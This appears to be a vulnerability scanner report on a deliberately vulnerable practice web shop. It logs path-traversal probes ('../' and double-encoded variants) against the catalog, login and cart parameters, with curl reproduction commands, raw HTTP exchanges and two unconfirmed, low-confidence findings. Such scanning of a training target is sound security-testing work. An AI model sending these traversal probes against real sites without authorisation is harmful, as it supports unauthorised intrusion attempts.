
listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=&email=1&token=1&action=1&value=1…

request

GET /catalog.php?fileName=1&path=&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · path unconfirmed · low confidence BV-047 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1
input: path in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

path reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

path looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1'

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:48 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:48 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/../1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/../1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:48 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/%2e…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/%2e%2e/1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:48 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=skst5y7wi/1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:48 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=&email=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 09:59:49 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · src unconfirmed · low confidence BV-048 info

location: GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: src in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

src reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

src looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1'

GET /cart.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /cart.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1…

request

GET /cart.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=sksasp9ya/%2e%2e/1&dir=1&lang=1&view=1…

request

GET /cart.php?data=1&src=sksasp9ya/%2e%2e/1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=sksasp9ya/1&dir=1&lang=1&view=1&redirect=…

request

GET /cart.php?data=1&src=sksasp9ya/1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> 